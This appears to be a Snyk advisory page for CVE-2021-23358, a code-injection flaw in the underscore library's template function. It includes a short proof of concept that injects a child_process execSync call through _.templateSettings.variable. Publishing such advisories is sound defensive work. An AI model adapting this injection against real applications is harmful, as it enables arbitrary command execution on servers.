Arbitrary Code Injection

Affecting org.webjars.bower:underscore package, versions **[0,]**

INTRODUCED: 2 MAR 2021 CVE-2021-23358 CWE-94

Share

How to fix?

There is no fixed version for `org.webjars.bower:underscore`.

Overview

org.webjars.bower:underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the `template` function, particularly when the `variable` option is taken from `_.templateSettings` as it is not sanitized.

PoC

```
const _ = require('underscore'); _.templateSettings.variable = "a =
this.process.mainModule.require('child_process').execSync('touch HELLO')"; const t = _.template("")();
```

References

- GitHub Additional Information
- GitHub Commit

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	High
Privileges Required	HIGH
Confidentiality	HIGH

See more

NVD 7.2 HIGH

Red Hat 7.2 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-JAVA-ORGWEBJARSBOWER-1081504
Published	29 Mar 2021
Disclosed	2 Mar 2021
Credit	Alessio Della Libera (@d3lla)

Report a new vulnerability | Found a mistake?

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.